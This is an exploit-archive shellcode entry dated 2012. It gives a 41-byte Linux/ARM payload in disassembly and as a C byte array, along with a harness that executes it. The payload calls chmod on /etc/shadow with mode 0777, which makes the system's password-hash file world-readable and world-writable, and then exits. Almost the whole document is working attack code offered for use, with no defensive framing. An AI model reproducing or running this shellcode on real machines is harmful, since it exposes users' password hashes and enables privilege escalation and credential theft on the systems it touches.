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linux/ARM - chmod("/etc/shadow", 0777) - 41 bytes
[/*
Title: Linux/ARM - chmod("/etc/shadow", 0777) - 41 bytes
Date: 2012-09-08
Tested on: ARM1176JZF-S (v6l)
Author: midnitesnake
00008054 <_start>:
8054: e28f6001 add r6, pc, #1
8058: e12fff16 bx r6
805c: 4678 mov r0, pc
805e: 3012 adds r0, #18
8060: 21ff movs r1, #255 ; 0xff
8062: 31ff adds r1, #255 ; 0xff
8064: 3101 adds r1, #1
8066: 270f movs r7, #15
8068: df01 svc 1
806a: 1b24 subs r4, r4, r4
806c: 1c20 adds r0, r4, #0
806e: 2701 movs r7, #1
8070: df01 svc 1
8072: 652f .short 0x652f
8074: 732f6374 .word 0x732f6374
8078: 6f646168 .word 0x6f646168
807c: 46c00077 .word 0x46c00077
*/
#include <stdio.h>
char shellcode[] = "\x01\x60\x8f\xe2"
"\x16\xff\x2f\xe1"
"\x78\x46"
"\x12\x30"
"\xff\x21"
"\xff\x31"
"\x01\x31"
"\x0f\x27"
"\x01\xdf"
"\x24\x1b"
"\x20\x1c"
"\x01\x27"
"\x01\xdf"
"\x2f\x65"
"\x74\x63\x2f\x73"
"\x68\x61\x64\x6f"
"\x77\x00"
"\xc0\x46";
int main()
{
fprintf(stdout,"Length: %d\n",strlen(shellcode));
(*(void(*)()) shellcode)();
return 0;
}
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